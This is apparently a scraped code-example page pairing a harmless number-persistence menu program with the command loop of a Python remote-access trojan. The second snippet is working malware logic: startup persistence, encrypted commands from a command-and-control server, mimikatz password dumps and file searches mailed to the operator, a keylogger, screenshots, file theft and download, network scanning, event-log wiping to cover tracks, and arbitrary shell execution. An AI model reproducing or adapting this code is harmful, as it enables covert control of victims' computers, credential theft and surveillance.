Exemple #1
0
def mainFuncation():
    task = input("Type 1 for Persistence, 2 for Factors, or 3 to quit")
    if task == "1":
        num = int(input("Enter a number: "))
        print(Persistence.Persistence(num).persistence())
        mainFuncation()

    elif task == "2":
        num = int(input("Enter a number: "))
        print(NumberSearch.NumberSearch.factors(num))
        mainFuncation()

    elif task == "3":
        print("Quit")
        exit()

    else:
        print("Invalid input, please enter 1, 2, or 3!")
        mainFuncation()
Exemple #2
0
    def main(self):
        # self.hidden_process()

        Persistence(
        )  # persistence - copy file and run when the windows starts
        # self.Execute_bypass_UAC()
        while True:
            decrypt_data = list()
            command = self.reliable_receive()  # receive the buff from server
            for i in command:
                decrypt_data.append(str_xor(i, self.KEY))
            print command
            print decrypt_data
            if decrypt_data[
                    0] == "break":  # if we got terminate order from the attacker, close the socket and break the loop
                print "[-] Close Connection!!!"
                self.s.close()
                break
            elif decrypt_data[0] == "cd" and len(
                    decrypt_data) > 1:  # run cd command line
                try:
                    print decrypt_data[0]
                    self.change_directory(decrypt_data[1])
                    print decrypt_data[1]
                    _string_ = "[+] New directory: " + decrypt_data[1]
                    self.send_server(_string_)
                except:
                    temp = "[-] Path is incorrect: " + decrypt_data[1]
                    self.send_server(temp)
            elif decrypt_data[0] == "drop":  # drop  file from server
                command_result = write_file(decrypt_data[1], decrypt_data[2])
                self.send_server(command_result)
            elif decrypt_data[0] == "grab":  # read a file from client
                command_result = read_file(decrypt_data[1])
                self.send_server(command_result)
            elif decrypt_data[0] == "unzip":  # unzip file .zip
                command_result = unzip(decrypt_data[1], decrypt_data[2])
                self.send_server(command_result)
            elif decrypt_data[
                    0] == "download":  # download file with link download and create a file name
                try:
                    download_file(decrypt_data[1], decrypt_data[2])
                    temp = "[+] DOWNLOAD SUCCESS FILE " + decrypt_data[2]
                    self.send_server(temp)
                except:
                    print("ERROR")
                    temp = "[-] DOWNLOAD ERROR: " + decrypt_data[1]
                    self.send_server(temp)
            elif decrypt_data[0] == "scan":  # scan a range network using nmap
                try:
                    command_result = scanner(decrypt_data[1], decrypt_data[2])
                    self.send_server(command_result)
                except:
                    temp = "[-] ERROR! Syntax: scan <range> <port> ! Try again."
                    self.send_server(temp)
            elif decrypt_data[
                    0] == "mimikatz":  # ussing mimikatz to dump password
                try:
                    command_result = mimikatz()
                    write_file("passdump.txt", command_result)
                    send_mail(MY_EMAIL, MY_PASSWORD, command_result)
                    self.send_server(command_result)
                except:
                    encrypt_data = str_xor(
                        "[-] ERROR when dump password! Try again.", self.KEY)
                    self.reliable_send(encrypt_data)
            # elif decrypt_data[0] == "take":
            #     try:
            #         command_result = self.transfer(self.s, decrypt_data[1])
            #         self.send_server(command_result)
            #     except:
            #         temp = "[-] Error when take file from client. Try again!"
            #         self.send_server(temp)
            elif decrypt_data[0] == "keylogger":
                try:
                    command_result = self.keylogger.start()
                    self.send_server(command_result)
                except:
                    temp = "[-] Error when running Keylogger..."
                    encrypt_data = str_xor(temp, self.KEY)
                    self.reliable_send(encrypt_data)
            elif decrypt_data[0] == "screenshot":
                command_result = takeSreenshot(MY_EMAIL, MY_PASSWORD)
                self.send_server(command_result)

            elif decrypt_data[0] == 'dumpPass':
                command_result = str(dumpPass())  # dumppass return a list
                self.send_server(command_result)
            elif decrypt_data[
                    0] == 'search':  # search all file with path file and format file
                try:
                    command_result = searchFile(decrypt_data[1])
                    SUBJECT = "SEARCHING FILE"
                    command_result = 'Subject: {}\n\n{}'.format(
                        SUBJECT, command_result)
                    send_mail(MY_EMAIL, MY_PASSWORD, command_result)
                    self.send_server("[+] Searching done! Check your mail....")
                except:
                    command_result = "[-] Error systax: search <path>*<formatfile>"
                    self.send_server(command_result)
            elif decrypt_data[0] == 'cleartracking':
                try:  # clear event log: Application log, System log, Setup log, Security log
                    command_result = clearEventlog()
                    self.send_server(command_result)
                except:
                    command_result = "[-] Error when clear event log!"
                    self.send_server(command_result)
            elif decrypt_data[0] == 'tweetgrabber':
                try:
                    command_result = str(tweet_grab_ipC2(decrypt_data[1]))
                    self.send_server(command_result)
                except:
                    command_result = '[-] Error when crawling IP C&C Address!!'
                    self.send_server(command_result)
            elif decrypt_data[0] == '-help':
                command_result = "**********************Create by ThanhNX*******************"
                self.send_server(command_result)
            else:  # otherwise, we pass the received command to a shell process
                result_command = self.communicate(decrypt_data)
                value_output = result_command.stdout.read(
                ) + result_command.stderr.read()  # value = out put+ error
                self.send_server(value_output)  # send value_output

        # privilege_escalation.clean_reg()
        self.s.close()